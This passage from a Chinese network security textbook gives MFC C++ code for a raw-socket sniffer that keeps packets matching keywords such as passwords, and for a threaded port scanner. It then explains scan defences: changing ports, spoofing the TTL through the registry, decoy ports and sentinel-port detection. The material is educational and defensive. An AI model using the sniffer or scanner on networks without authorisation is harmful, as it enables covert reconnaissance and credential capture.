CListBox*pListKeyword=(CListBox*)＆ptr-＞m_ctlListKeyword;

CString strTemp;

SOCKET sock;

SOCKADDR_IN addr_local,addr_remote;//Local＆Remote

int buflen=sizeof(addr_remote);

if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)

{

AfxMessageBox("原始套接字Socket创建出错!\n",MB_OK|MB_ICONINFORMATION);

return 1;

}

BOOL flag=TRUE;

if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)＆flag,

sizeof(flag))==SOCKET_ERROR)

{

AfxMessageBox("套接字选项IP_HDRINCL出错!\n",

MB_OK|MB_ICONINFORMATION);

shutdown(sock,2);

closesocket(sock);

return 2;

}

int nTimeOver=500;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)＆nTimeOver,

sizeof(nTimeOver))==SOCKET_ERROR)

{

AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!\n",

MB_OK|MB_ICONINFORMATION);

shutdown(sock,2);

closesocket(sock);

return 3;

}

int localPort=GetPrivateProfileInt("Init","LocalPort",

5000,LOCALSETFILENAME);

addr_local.sin_family=AF_INET;

addr_local.sin_port=htons(localPort);

addr_local.sin_addr.s_addr=inet_addr(strIP);

if(bind(sock,(PSOCKADDR)＆addr_local,sizeof(addr_local))==SOCKET_ERROR)

{

AfxMessageBox("绑定本地IP端口接收出错，请确认网络连接正确，\

或修改Sniffer.ini文件中的Init/LocalPort本地端口值。",

MB_OK|MB_ICONINFORMATION);

shutdown(sock,2);

closesocket(sock);

return 4;

}

DWORD dwBufferLen[10];

DWORD dwBufferInLen=1;

DWORD dwBytesReturned=0;

if(WSAIoctl(sock,SIO_RCVALL,＆dwBufferInLen,sizeof(dwBufferInLen),

＆dwBufferLen,sizeof(dwBufferLen),＆dwBytesReturned,

NULL,NULL)==SOCKET_ERROR)

{

AfxMessageBox("WSAIoctl设置出错，当前版本不支持无线网卡。",

MB_OK|MB_ICONINFORMATION);

shutdown(sock,2);

closesocket(sock);

return 5;

}

threadparam-＞g_bRunning=TRUE;

g_TotalNum=0;

UCHAR RecvBuf[MAX_PACK_LEN];

IP_HEADER*pIPHead=(IP_HEADER*)RecvBuf;

int iIPLen=sizeof(IP_HEADER);

int iTcpLen=sizeof(TCP_HEADER);

int iUdpLen=sizeof(UDP_HEADER);

int iIcmpLen=sizeof(ICMP_HEADER);

TCP_HEADER*pTcpHead=(TCP_HEADER*)(RecvBuf+iIPLen);

UDP_HEADER*pUdpHead=(UDP_HEADER*)pTcpHead;

ICMP_HEADER*pIcmpHead=(ICMP_HEADER*)pTcpHead;

char*pTcpData=(char*)(RecvBuf+iIPLen+iTcpLen);

char*pUdpData=(char*)(RecvBuf+iIPLen+iUdpLen);

char*pIcmpData=(char*)(RecvBuf+iIPLen+iIcmpLen);

while(threadparam-＞g_bRunning＆＆g_TotalNum＜MAX_PACK_NUM)

{

memset(RecvBuf,0,sizeof(RecvBuf));//清零；

int retlen=recvfrom(sock,(char*)RecvBuf,MAX_PACK_LEN,

0,(LPSOCKADDR)＆addr_remote,＆buflen);

if(retlen==SOCKET_ERROR||retlen＜50)

continue;

strTemp="";

for(int vc=0;vc＜retlen;vc++)

{

UCHAR uc=RecvBuf[vc];

if(uc＞31＆＆uc＜128)

{

if(uc＞'a'-1＆＆uc＜'z'+1)

uc=uc-'a'+'A';

strTemp+=uc;

}

}

BOOL bHavePass=FALSE;

for(int pw=0;pw＜g_saKeyword.GetSize();pw++)

{

if(strTemp.Find(g_saKeyword.GetAt(pw))＞=0)

{

bHavePass=TRUE;

break;

}

}

if(!bHavePass)

continue;

int copylen=retlen;

if(copylen＞MAX_PACK_SAVE_LEN)

copylen=MAX_PACK_SAVE_LEN;

SaveBufLen[g_TotalNum]=retlen;

//进行复制，不过只复制有限个

memcpy((char*)SaveBuf[g_TotalNum],(char*)RecvBuf,copylen);

CTime time=CTime::GetCurrentTime();

ptr-＞m_ctlListReceive.InsertItem(g_TotalNum,time.Format("%H:%M:%S"));

ptr-＞m_ctlListReceive.SetItemText(g_TotalNum,LIST_RECEIVE_IP1,

IPIntToStr(pIPHead-＞sourceIP));

ptr-＞m_ctlListReceive.SetItemText(g_TotalNum,LIST_RECEIVE_IP2,

IPIntToStr(pIPHead-＞destIP));

CString strPortSour,strPortDest,strMsg="";

int iDataLen=0,i;

switch(pIPHead-＞proto)

{

case 1://ICMP

strPortSour="/";

strPortDest="/";

ptr-＞m_ctlListReceive.SetItemText(g_TotalNum,

LIST_RECEIVE_PROTOCOL,"ICMP");

iDataLen=retlen-(iIPLen+iIcmpLen);

for(i=0;i＜iDataLen;i++)

{

strTemp.Format("%02X",(UCHAR)(pIcmpHead+i));

strMsg+=strTemp;

}

break;

case 6://TCP

strPortSour.Format("%d",ntohs(pTcpHead-＞th_sport));

strPortDest.Format("%d",ntohs(pTcpHead-＞th_dport));

ptr-＞m_ctlListReceive.SetItemText(g_TotalNum,

LIST_RECEIVE_PROTOCOL,"TCP");

iDataLen=retlen-(iIPLen+iTcpLen);

for(i=0;i＜iDataLen;i++)

{

strTemp.Format("%02X",(UCHAR)(pTcpHead+i));

strMsg+=strTemp;

}

break;

case 17://UDP

strPortSour.Format("%d",ntohs(pUdpHead-＞uh_sport));

strPortDest.Format("%d",ntohs(pUdpHead-＞uh_dport));

ptr-＞m_ctlListReceive.SetItemText(g_TotalNum,

LIST_RECEIVE_PROTOCOL,"UDP");

iDataLen=retlen-(iIPLen+iUdpLen);

for(i=0;i＜iDataLen;i++)

{

strTemp.Format("%02X",(UCHAR)(pUdpHead+i));

strMsg+=strTemp;

}

break;

default:

ptr-＞m_ctlListReceive.SetItemText(g_TotalNum,

LIST_RECEIVE_PROTOCOL,"ETC");

break;

}

strTemp.Format("%d",retlen);

ptr-＞m_ctlListReceive.SetItemText(g_TotalNum,LIST_RECEIVE_LEN,strTemp);

ptr-＞m_ctlListReceive.SetItemText(g_TotalNum,

LIST_RECEIVE_PORT1,strPortSour);

ptr-＞m_ctlListReceive.SetItemText(g_TotalNum,

LIST_RECEIVE_PORT2,strPortDest);

ptr-＞m_ctlListReceive.SetItemText(g_TotalNum,

LIST_RECEIVE_CONTENT,strMsg);

g_TotalNum++;

}//while(threadparam-＞g_bRunning)

shutdown(sock,2);

closesocket(sock);

//AfxMessageBox(strIP+"over");

threadparam-＞g_bRunning=FALSE;

return 0;

}

void CSnifferDlg::OnBUTTONStop()

{

UpdateData(TRUE);

for(int i=0;i＜g_iToltalIP;i++)

{

ThreadParam[i].g_bRunning=FALSE;

}

m_strComment="线程已关闭。";

UpdateData(FALSE);

}

void CSnifferDlg::OnDblclkLISTReceive(NMHDR*pNMHDR,LRESULT*pResult)

{

POSITION posReceive=m_ctlListReceive.GetFirstSelectedItemPosition();

if(posReceive==NULL)

{

*pResult=0;

return;

}

int index=m_ctlListReceive.GetNextSelectedItem(posReceive);

UpdateData(TRUE);

CString strTemp;

int showlen=SaveBufLen[index];

if(showlen＞MAX_PACK_SAVE_LEN)

showlen=MAX_PACK_SAVE_LEN;

int iOffset=0;

int packlen=sizeof(IP_HEADER);

m_strContent="IP包头:";

for(int i=0;i＜packlen;i++)

{

strTemp.Format("%02X",(UCHAR)SaveBuf[index][iOffset+i]);

m_strContent+=strTemp;

}

m_strContent+="\r\n";

iOffset+=packlen;

strTemp=m_ctlListReceive.GetItemText(index,LIST_RECEIVE_PROTOCOL);

if(strTemp=="TCP")

{

packlen=sizeof(TCP_HEADER);

m_strContent+="TCP包头:";

}

if(strTemp=="UDP")

{

packlen=sizeof(UDP_HEADER);

m_strContent+="UDP包头:";

}

if(strTemp=="ICMP")

{

packlen=sizeof(ICMP_HEADER);

m_strContent+="ICMP包头:";

}

if(strTemp=="ETC")

packlen=0;

for(i=0;i＜packlen;i++)

{

strTemp.Format("%02X",(UCHAR)SaveBuf[index][iOffset+i]);

m_strContent+=strTemp;

}

m_strContent+="\r\n";

iOffset+=packlen;

m_strContent+="内容:\r\n";

for(i=0;i＜showlen-iOffset;i++)

{

strTemp.Format("%c",(UCHAR)SaveBuf[index][iOffset+i]);

m_strContent+=strTemp;

}

UpdateData(FALSE);

*pResult=0;

}

void CSnifferDlg::OnClickLISTReceive(NMHDR*pNMHDR,LRESULT*pResult)

{

OnDblclkLISTReceive(pNMHDR,pResult);

*pResult=0;

}

void CSnifferDlg::OnBUTTONClearResult()

{

m_ctlListReceive.DeleteAllItems();

g_TotalNum=0;

}

void CSnifferDlg::OnBUTTONItemAdd()

{

UpdateData(TRUE);

if(m_strKeyword=="")

{

MessageBox("关键字不能为空。","操作提示",MB_OK);

return;

}

m_ctlListKeyword.AddString(m_strKeyword);

UpdateData(FALSE);

}

void CSnifferDlg::OnBUTTONItemDelete()

{

UpdateData(TRUE);

int sel=m_ctlListKeyword.GetCurSel();

if(sel!=LB_ERR)

{

m_ctlListKeyword.DeleteString(sel);

}

UpdateData(FALSE);

}




11.5　端口对照

在端口扫描中，注重的是采用什么样的方式进行扫描，而对扫描到的端口则只是显示“开”与“关”。当扫到某个端口处于“开”状态时，如果能将包括病毒、木马、常用服务等在内的各个可能使用该端口的提示信息显示出来，无疑能给网络管理员一个清晰的提示，起到辅助作用。

由于该功能并没有复杂的技术，只是在查到端口以后，在一个数组中查找一下，算法简单，所以此处只是简单说明一下。


 11.5.1　程序主界面

根据上述分析，可以做一个界面如图11.10所示。
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图　11.10　端口对照扫描

主界面分为四部分，“扫描范围”分组主要用于显示要扫描的IP地址，以及要扫描的端口范围；“扫到的结果”分组用于实时显示扫描到处于“开”的端口；“系统提示”分组显示当前扫描状态。单击“开始扫描”按钮，系统则进入扫描状态，其扫描结果显示在“扫到的结果”分组中，如果线程处于开启状态时，则在“系统提示”分组中显示正在扫描的端口状态，如果线程都已开启，则在“系统提示”分组中显示当前还有多少个扫描未结束的线程数。单击“停止扫描”按钮则扫描线程停止创建，正在扫描的线程也会逐渐终止。

单击“端口配置”按钮，可以显示端口及端口常被哪些服务、病毒、木马等使用，如图11.11所示。
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图　11.11　端口对照配置图

图11.11已按端口增序列出了一些已知端口以及端口的解释，如果要在表中增加新的信息，则选在“端口”和“进程名”两个文本框中分别输入新的端口或解释，然后单击“新增信息”按钮，该值就会增加到上表中，并插入到合适的位置。如果要修改某一条已有端口解释，则首先在表中双击要修改端口的所在行，系统会自动将该行的两值分别填入到“端口”和“进程名”两个文本框中，直接在其中修改，然后单击“修改信息”按钮完成修改。如果要删除某条已有端口解释的信息行，首先在列表中选中要删除的端口所在行，单击“删除信息”按钮，即可完成删除。

以上各操作只是完成了对列表中内容的更改，实际上并没有保存到数据库中，只有当用户最终单击“保存退出”按钮时才会保存到数据库中，如果单击“不存退出”按钮，则所有本次操作全部作废。


11.5.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为PortScan_Match。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义



#include＜winsock2.h＞

#pragma comment(lib,"ws2_32")

#include"DialogSetup.h"

#define SCAN_MODE_SOCKET1 0

#define SCAN_MODE_SOCKET2 1

#define SCAN_MODE_SYN 2

PORTINFORMATION g_sPortInfo[MAXPORTINFONUM];

UINT g_uPortInformationCount;

typedef struct ThreadParamStruct

{

CString strIP;

UINT uPort;

CPortScanDlg*ptr;

}THREADPARAM;

THREADPARAM ThreadParam;

UINT ThreadCSocketScan(LPVOID pParam);

UINT ThreadCSocket2Scan(LPVOID pParam);

BOOL g_bRunning;

int g_iTotalThreadCount;

BOOL g_bInserting;



3.程序主要代码



BOOL CPortScanDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

WSAData wsaData;

WSAStartup(WINSOCK_VERSION,＆wsaData);

CString strTemp;

char buff[MAX_PATH];

GetPrivateProfileString("Param","IP","127.0.0.1",

buff,MAX_PATH,INIFILENAME);

m_strIP.Format("%s",buff);

m_uPortBegin=GetPrivateProfileInt("Param","PortBegin",1024,INIFILENAME);

m_uPortEnd=GetPrivateProfileInt("Param","PortEnd",2048,INIFILENAME);

g_iTotalThreadCount=0;

m_ctlListResult.InsertColumn(LIST_RESULT_PORT,"端口",LVCFMT_LEFT,60);

m_ctlListResult.InsertColumn(LIST_RESULT_INFO,"内容",LVCFMT_LEFT,270);//

m_ctlListResult.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES);

ReadFromINI();

UpdateData(FALSE);

return TRUE;

}

void CPortScanDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗?","退出系统",MB_OKCANCEL|

MB_DEFBUTTON2|MB_ICONQUESTION)==IDOK)

{

CString strTemp;

UpdateData(TRUE);

WritePrivateProfileString("Param","IP",m_strIP,INIFILENAME);

strTemp.Format("%d",m_uPortBegin);

WritePrivateProfileString("Param","PortBegin",strTemp,INIFILENAME);

strTemp.Format("%d",m_uPortEnd);

WritePrivateProfileString("Param","PortEnd",strTemp,INIFILENAME);

WSACleanup();

CDialog::OnCancel();

}

}

void CPortScanDlg::OnTimer(UINT nIDEvent)

{

//定时器，一般通过nIDEvent区分不同定时器

switch(nIDEvent)

{

case 1:

{

UpdateData(TRUE);

if(g_iTotalThreadCount＞0)

{

m_strComment.Format("当前有%d个线程正在扫描中...",

g_iTotalThreadCount);

}

else

{

m_strComment.Format("扫描结束");

KillTimer(1);

}

UpdateData(FALSE);

}

break;

default:break;

}

CDialog::OnTimer(nIDEvent);

}

void CPortScanDlg::DoEvent(CString strPass)

{

MSG msg;

CWnd*pEdit=this-＞GetDlgItem(IDC_EDIT_Comment);

pEdit-＞SetWindowText(strPass);

pEdit-＞UpdateWindow();

if(PeekMessage(＆msg,NULL,0,0,PM_REMOVE))

{

TranslateMessage(＆msg);

DispatchMessage(＆msg);

}

}

void CPortScanDlg::OnBUTTONScanStart()

{

UpdateData(TRUE);

if(m_uPortBegin＜1||m_uPortBegin＞65535||m_uPortEnd＜1||

m_uPortEnd＞65535||m_uPortBegin＞m_uPortEnd)

{

MessageBox("端口值不对，该值范围应该是1～65535。",

"操作提示",MB_OK|MB_ICONERROR);

return;

}

SetTimer(1,1000,NULL);

m_ctlListResult.DeleteAllItems();

CString strTemp;

g_bInserting=FALSE;

g_bRunning=TRUE;

ThreadParam.strIP=m_strIP;

ThreadParam.ptr=this;

for(UINT port=m_uPortBegin;port＜m_uPortEnd;port++)

{

if(!g_bRunning)

break;

ThreadParam.uPort=port;

AfxBeginThread(ThreadCSocketScan,＆ThreadParam,THREAD_PRIORITY_IDLE);

strTemp.Format("正在扫描端口：%d",port);

DoEvent(strTemp);

Sleep(10);

}

UpdateData(FALSE);

}

void CPortScanDlg::OnBUTTONScanStop()

{

g_bRunning=FALSE;

}

UINT ThreadCSocketScan(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CPortScanDlg*ptr=threadparam-＞ptr;

g_iTotalThreadCount++;

//创建一个Socket

SOCKET sock=-1;

sock=socket(AF_INET,SOCK_STREAM,0);

if(sock==SOCKET_ERROR)

{

//AfxMessageBox("创建监听Socket的时候出错\n");

return 1;

}

//设置几个参数

int iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)＆iTimeOut,

sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("发送时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 2;

}

iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)＆iTimeOut,

sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 3;

}

//连接对方的默认端口

SOCKADDR_IN addr_remote;

addr_remote.sin_family=AF_INET;

addr_remote.sin_addr.s_addr=inet_addr(strIP);

addr_remote.sin_port=htons(uPort);

if(connect(sock,(PSOCKADDR)＆addr_remote,sizeof(addr_remote))!=0)

{

//AfxMessageBox("Connect出错，对方未提供Email服务!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 4;

}

CString strInfo="该类型没定义。";

//strInfo.Format("%d",g_uPortInformationCount);

for(UINT i=0;i＜g_uPortInformationCount;i++)

{

if(g_sPortInfo[i].uPort==uPort)

{

strInfo=g_sPortInfo[i].strInformation;

break;

}

}

while(g_bInserting)

Sleep(100);

g_bInserting=TRUE;

int iCount=ptr-＞m_ctlListResult.GetItemCount();

CString strTemp;

strTemp.Format("%d",uPort);

ptr-＞m_ctlListResult.InsertItem(iCount,strTemp);//LIST_RESULT_PORT

ptr-＞m_ctlListResult.SetItemText(iCount,LIST_RESULT_INFO,strInfo);

g_bInserting=FALSE;

shutdown(sock,2);

closesocket(sock);

g_iTotalThreadCount--;

return 0;

}

void CPortScanDlg::OnBUTTONScanSetup()

{

CDialogSetup dlg;

dlg.m_pParentDlg=this;

if(dlg.DoModal()==IDOK)

{

//SaveToINI();

ReadFromINI();

}

}

int CPortScanDlg::ReadFromINI()

{

CString strTemp;

char buff[MAX_PATH];

g_uPortInformationCount=GetPrivateProfileInt("Port","Count",0,INIFILENAME);

if(g_uPortInformationCount＞65535||g_uPortInformationCount＜0)

g_uPortInformationCount=0;

for(UINT i=0;i＜g_uPortInformationCount;i++)

{

strTemp.Format("Port%d",i+1);

g_sPortInfo[i].uPort=GetPrivateProfileInt("Port",

strTemp,0,INIFILENAME);

strTemp.Format("Info%d",i+1);

GetPrivateProfileString("Port",strTemp,"",buff,MAX_PATH,INIFILENAME);

g_sPortInfo[i].strInformation.Format("%s",buff);

}

return g_uPortInformationCount;

}




第12章　扫描防范技术的研究

只要网络存在，网络的攻与防一直存在并将永远地进行下去，这是一个永恒的话题。这不是正确与错误的较量，而是角色与职责的任务，关键看什么人用，用的目的是什么。

攻的优势在于：网络的安全遵从“木桶原则”（一个水桶的边缘由不等高的木板围成，则无论最高的木板有多高，它盛水的最高高度取决于所有木板中最低的那块木板的高度），即网络中，整体的安全性取决于最弱处的表现。这相当于多个子项之间通过“逻辑或”运算的表达式，如果让结果为“真”，则其中任意一个子项的值为真即可，即攻击方可以选取向任何一个弱处进行攻击，通常认为只要有一处成功，则攻击成功。

攻的劣势在于：完全了解一个系统本身就已很难，想发现其中的弱点甚至漏洞，则更难，通常需要有丰富的经验，还要有好的运气。

防的优势在于：表面上看，防处于“正义”的一方，可以得到最广泛的支持，其信息和支持可以通过任何正常的途径进行共享。以Windows漏洞为例，如果将用户发现的漏洞发给Microsoft，相信会得到对方迅速的响应。

防的劣势在于：设计一套全面、安全的系统是非常难的。这相当于多个子项之间通过“逻辑与”运算的表达式，要想使结果为“真”，则其所有子项的值都必须为真才行。第二次世界大战时，曾有一个有经验的电报监听员，即使是敌人频繁地换密码，他仍能快速地根据监听判断移动中的发报源哪个是团部，哪个是师部，让敌人迷惑不解的谜团直到战争结束才得以揭晓，原来，他的判断原则根本就不是通过解密电文，而是根据发报源每天向外发出电报的流量数。

本章像上一章一样，所涉及的技术是大杂烩，很难准确地归属于哪项技术上，也是从功能上将其汇总到一类中统一进行描述。

首先介绍的是一种更换服务默认端口的方式，这种被动防御的方式对于端口扫描是有效的，但对于服务扫描是无效的，并且这种修改会使那些在程序中将所用端口固定写死，无法通过配置进行修改的该服务客户端无法使用。

随后提出了几种扫描监测算法，主要可以分为三类，一种是在指定的端口上布置监测点，当这些监测点被扫描到时，可以得出正在遭到扫描的结论，该方法主要适用于监测端口扫描。另一种是在某一端口进行统计分析，当连接数超出一定阈值时，可以判断出正遭到扫描，该方法主要适用于监测服务扫描。还有一种则是实时监测本地所有端口的使用情况，因为无论是对方扫描自己，还是正常的数据通信，必然要连接本地端口，那么实时监测本地端口就是完全必要的了。

除了修改和监测之外，还有一种办法就是通过一些假的端口或假的服务迷惑对方，使对方知难而退。当然，如果并不需要向外界提供服务，最好还是关掉不用的端口。

需要说明的是，下面所讲的是防范技术，而不是防范的操作，所以并没有包括类似于操作系统打补丁、安装防火墙等常规的防范方式。


 12.1　更换端口

网络中，几乎所有的服务都是通过端口来访问，要想知道某个软件采用哪个端口有两种方法，一种是如果该软件是互联网通用服务类的软件，则可以查找熟知端口表，查到该软件所占用的通用端口；另一种是对方通知访问者所用的端口。而更改一下端口，特别是对通用服务类的软件来说，会减少受到攻击的可能性。

对于专用服务器，修改了端口后，通过其他途径告诉相关人员，而外界并不知道，因此就无从知晓该服务怎么访问。

不同的系统，改变端口的方式不完全一样，下面仅以Windows自带的WWW服务和FTP服务为例，说明如何修改默认的端口。

1.修改WWW服务的端口

对于WWW服务，换端口只需在属性配置上换一个值即可。对WWW服务的详细配置说明详见第7章7.1节“WWW服务扫描”相关内容，按其中7.1.3节“WWW服务器的安装与配置”的安装步骤，达到图7.9时，就可以看到修改TCP端口的界面，在该界面中可改变TCP端口的默认值80，如图12.1所示。
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图　12.1　修改WWW服务默认端口

换了默认端口后，要访问该服务需要采用指定端口的方式，例如通过浏览器Microsoft Internet Explorer访问时，只需要在地址栏中输入：



http://＜网络IP地址或域名＞:＜新端口＞/[文件路径和文件名]



2.修改FTP服务的端口

对于FTP服务，换端口只需在属性配置上换一个值即可。对FTP服务的详细配置说明详见第7章7.3节“FTP服务扫描”相关内容，按其中7.3.2节“FTP服务器的安装与配置”的安装步骤，达到图7.18时，就可以看到TCP端口为21，修改端口号即可，该界面如图12.2所示。
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图　12.2　修改FTP服务默认端口

换了默认端口后，要访问该服务需要采用指定端口的方式，例如通过浏览器Microsoft Internet Explorer访问时，只需要在地址栏中输入：



http://＜网络IP地址或域名＞:＜新端口＞/



更换端口的方式可以避免一部分攻击，但将新端口通知给允许访问的人很麻烦，所以一般很少使用这种方式。


12.2　预留陷阱技术

预留陷阱技术指的是通过对操作系统或某服务程序的配置，甚至是直接编程，在系统中制作一些“陷阱”，来自网络的攻击在扫描到这些陷阱时，得到的是“不正确”或“错误”的结论，从而达到真假难辨的目的。前面第6章的6.2.1.2节“通过TTL值判断对方操作系统的简易办法”中提到，在ping对方时，利用返回值的TTL值就可以初步地判断出对方的操作系统类型，其中所列的操作系统TTL值共有32、64、128、255四种。为了避免被黑客利用，管理员可将TTL的值改为这四种值之外的值，那黑客得到的将是“不正确”的结果；如果管理员将TTL值改为与本身操作系统不符的另外三值其中之一，黑客得到的将是“错误”的结果。如果可以选择，不建议制作导致对方得到“不正确”结论的陷阱，因为这种不正确的结论不仅不能通过“假像”迷惑对方，反而会打草惊蛇，让对方调整策略；而“错误”的陷阱则会让对方误判而做出错误的决定。但在实际的设计中，“不正确”陷阱和“错误”陷阱要视具体情况而定。

1.修改系统配置

如前所述，通过ping对方，可以利用返回值的TTL值就可以大概地判断出对方的操作系统类型。事实上，这种方法并不准确，因而也只能做一个简单的初判，其原因在于很多操作系统都允许网络管理员修改自身的TTL初始值。比如在Windows下，修改默认的TTL值有两种办法，分别介绍如下。

1）直接修改注册表。

单击Windows操作系统“开始”菜单，在弹出的系统菜单中选择“运行”菜单项，然后在运行框中输入"regedit"后单击“确定”按钮。在弹出的“注册表编辑器”窗口中，依次分级展开下面项：



HKEY_LOCAL_MACHlNE\System\CurrentControlSet\Services\Tcpip\Parameters



然后在最后的"Parameters"项目上右击，并在弹出的菜单中，依次选择“新建”和“DWORD值”，则会在右边键值列表中新增一个键值，重命名键值的名称为"DefaultTTL"，并将该值设置为所需要的值。

2）通过批处理修改注册表。

由于Windows操作系统支持以reg为扩展名的文件，所以也可以将上面手工的命令通过批处理实现，具体实现步骤为：

打开“记事本”程序，编写批处理命令：



@echo REGEDIT4＞＞ChangeTTL.reg

@echo＞＞ChangeTTL.reg

@echo[HKEY_LOCAL_MACHlNE\System\CurrentControlSet\Services\Tcpip\Parameters]

＞＞ChangeTTL.reg

@echo"DefaultTTL=dword:000040"＞＞ChangeTTL.reg

@REGEDIT/S/C ChangeTTL.reg



把编好的程序另存为"SetTTL.bat"文件，然后双击这个文件，就能把TTL默认值设为64（注意例子中是十六进制数，即0x40），关于文件内容中重定向符号“＞＞”的详细用法参见第2章的2.3节“嵌入外部程序”。

需要说明的是，对注册表的修改，需要重启计算机才能生效。同时根据前面的分析，如果要通过修改操作系统的TTL“默认值”来迷惑对方，就可以将TTL值由一种操作系统的默认值改为另一种操作系统的默认值。

2.制作假的端口误导扫描器

对于端口扫描，如果能让对方扫描到一些错误的结果，则会对其产生误导，甚至是错误的判断。常用的产生误导的方式有：

❑增加冗余端口：根据扫描的原理，可以在主机不提供服务的端口上，打开某一个或一些端口，这些端口可以被对方扫描到，但却无法正常使用，因此可以误导对方。

❑动态打开端口：与“增加冗余端口”的方式不同，可以监视某个端口，当发现该端口被扫描时，动态地打开被扫端口按一定的步长偏移的端口，这种效果会随着扫描器扫描的端口越多，则“扫描到”的端口越多，但其中的陷阱端口越多，故错误越多。

❑随机打开端口：通过程序定时地随机打开若干端口，这样做的目的是使扫描器每次扫描到的结果不一致，从而使其无法建立扫描库等历史信息。

3.制作假的服务

相比于制作假的端口，制作假的服务要难很多，因为不同的扫描器扫描点不一样，所以做一个和真的差不多的假服务，需要很多复杂的技术。但一个陷阱服务或诱饵服务可以很大程度上误导扫描器，使之产生错误的结论。

综合分析以上各点，预留陷阱技术大部分需要编程实现，这使其推广有一定难度，但同时，这种方式可以通过有限的资源浪费，对扫描器产生较大的误导，因而相对于只对扫描进行监测的系统来说，更具有积极的意义。


12.3　基于哨兵的端口扫描监测

更换端口是个治标不治本的方式，一则在公网上，既然是服务，总是要让人访问，让别人访问又必须告诉对方自己的端口，那么黑客也可以通过同样的途径知道新改的端口；二则换了端口之后的服务，黑客可以通过服务扫描找到。与其坐以待毙，不如主动监测并发现当前是不是有扫描的发生。

要发现是否有人在扫描自己，可以先从扫描本身的特征来分析。所谓扫描，就是对方通过尝试的方式主动连接本机的若干或全部端口，通过连接的成功与否判断该端口打开与否。根据这一特点，离散式地打开多个未使用的端口，等待对方的扫描，如果在一定时间内，这几个端口都被扫描到了，则可以认为是一次“扫描”操作的发生。

在该方式中，所监测的端口值离散地分布在整个端口值区间上，专等对方扫描连接的程序，很像是定点值勤站岗的哨兵，所以这种方式称为基于哨兵的端口扫描监测算法。

这种方法的优点是：主动监测，给对方造成错误，并且可以暗示对方不要再扫描。缺点是：需要开很多无关的线程。


 12.3.1　程序主界面

根据上述分析，可以做一个界面，如图12.3所示。
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图　12.3　端口哨兵扫描监测器

主界面分为上、下两部分，上部分“端口状态”分组用于监听当前正在扫描本机的远端主机IP地址和本地端口；下面“状态”分组是最后一次操作状态。

单击“开始监听”按钮，系统就会进入监听状态，所有要监听的“哨兵”布好以后，该按钮变成灰色无效状态，以避免被重复监听，同时系统扫描监测开始进行统计。此时“停止监听”按钮变为有效状态。

单击“停止监听”按钮，程序会中止当前的监听状态，停止系统扫描监测开始进行统计，并关掉所有的“哨兵”端口。随后，“停止监听”按钮变成灰色，同时，“开始监听”按钮变为有效。

“清空列表”表示清除已监测到的结果。单击“退出系统”按钮，会在保存了界面各数值后，退出系统。

在本程序中，本地主机监听了所有端口中序号为100整倍数的端口，并称之为“哨兵端口”。这种等长的分布便于对扫描效果的分析，数据相对直观、明了。在实际使用中，可以设定为随机分布或是其他步长的等长分布。需要注意的是，在一个步长两端的哨兵端口被扫描到，并不仅仅意味着只有这两个端口被扫描到，而很可能是步长之内的所有端口甚至是步长两端的若干端口都被扫描到。同时，另一个要考虑的要素就是扫描间隔，因为虽然多个哨兵端口监测到来自于某一个IP地址的连接，但如果时间间隔很长，则可以认为也许对方是无意中的操作。

综上所述，判断一次扫描是否发生，要同时考虑“哨兵端口”被扫描到的个数和被扫描到的时间间隔。为此，程序中设定监听所有100倍数的端口，并约定，如果这些哨兵端口在10秒之内被扫描到3个及以上时，就认为发生一次“被扫描”事件。

从图12.3可见，当远端主机对其进行端口扫描时，采用的是由小到大顺序扫描的方式（本程序并不限定为对方一定按顺序扫描），由于扫描过程中，每隔100个端口有一个“哨兵端口”，所以当哨兵端口被扫描到的时候，及时地检测出来，并记录下来。同时，程序也检测到在指定的时间（例如10秒）内扫描到的端口个数，有9个“哨兵端口”被扫描到，因此完全可以判定，当前有一次“被扫描”事件的发生，如果扫描停止了，则数秒后，虽然曾有多个哨兵发现了被扫描到，但由于超出了总时间间隔，所以可以判断扫描已停止。

根据被扫描的时间可以看出对方的扫描速度大约为每秒钟100个端口。


12.3.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架、定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为MultiWaiter。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义

在StdAfx.h中定义多个文件都要用到的常量。



//最大范围常量宏

#define MAXNUMIP 10000

#define MAXNUMLIST 200

//INI配置文件的文件名，用于保存一些常量

#define INIFILENAME".\\MultiPing.ini"

//CListCtrl中列序号常量宏定义。

#define LIST_RESULT_INDEX 0

#define LIST_RESULT_IPSTR 1

#define LIST_RESULT_PORT 2

#define LIST_RESULT_TIME 3

//#define LIST_RESULT_COMMENT 4

#define MAXLISTENCOUNT 6553



在程序主文件MultiPingDlg.cpp的头部定义，这部分主要是该文件自己使用的一些头文件和常量。

3.程序主要代码



BOOL CMultiListenDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

//列表表头的创建

//自动生成

m_ctlListResult.InsertColumn(LIST_RESULT_INDEX,"序号",LVCFMT_LEFT,40);

